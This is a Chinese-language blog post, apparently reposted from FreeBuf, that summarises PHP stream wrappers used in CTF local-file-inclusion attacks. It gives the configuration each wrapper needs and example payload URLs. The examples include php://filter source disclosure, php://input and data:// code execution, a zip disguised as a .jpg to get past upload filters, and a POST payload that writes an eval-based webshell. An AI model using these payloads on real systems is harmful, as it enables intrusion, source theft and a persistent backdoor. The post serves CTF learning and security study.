zoukankan      html  css  js  c++  java
  • php伪协议总结

    本篇总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等

    一.【file://协议】

    PHP.ini:

    file:// 协议在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

     

    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

    file:// [文件的绝对路径和文件名]

    http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

    02 2.png

    二.【php://协议】

    条件:

    不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

    参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

    php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

    PHP.ini:

    php://filter在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

    测试现象:

    http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

    php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

    PHP.ini:

    allow_url_fopen :off/on

    allow_url_include:on

    测试现象:

    http://127.0.0.1/cmd.php?file=php://input

    [POST DATA] <?php phpinfo()?>

    也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

    三.【zip://, bzip2://, zlib://协议】

    PHP.ini:

    zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

    allow_url_fopen :off/on

    allow_url_include:off/on

     

    zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

    参考自:http://php.net/manual/zh/wrappers.compression.php

    1.【zip://协议】

    使用方法:

    zip://archive.zip#dir/file.txt

    zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    测试现象:

    http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

    先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

    由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

    2.【bzip2://协议】

    使用方法:

    compress.bzip2://file.bz2

    测试现象:

    http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

    or

    http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

    3.【zlib://协议】

    使用方法:

    compress.zlib://file.gz

     

    测试现象:

    http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

    or

    http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

    四.【data://协议】

    经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

    PHP.ini:

    data://协议必须双在on才能正常使用;

    allow_url_fopen :on

    allow_url_include:on

    参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

    测试现象:

    http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

    or

    http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

     

    也可以:

    http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

    or

    http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    五. 常规小结:

    PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

    转自:https://www.freebuf.com/column/148886.html

  • 相关阅读:
    A Simple Problem with Integers poj 3468 多树状数组解决区间修改问题。
    Fliptile 开关问题 poj 3279
    Face The Right Way 一道不错的尺取法和标记法题目。 poj 3276
    Aggressive cows 二分不仅仅是查找
    Cable master(二分题 注意精度)
    B. Pasha and String
    Intervals poj 1201 差分约束系统
    UITextField的快速基本使用代码块
    将UIImage转换成圆形图片image
    color转成image对象
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13030717.html
Copyright © 2011-2022 走看看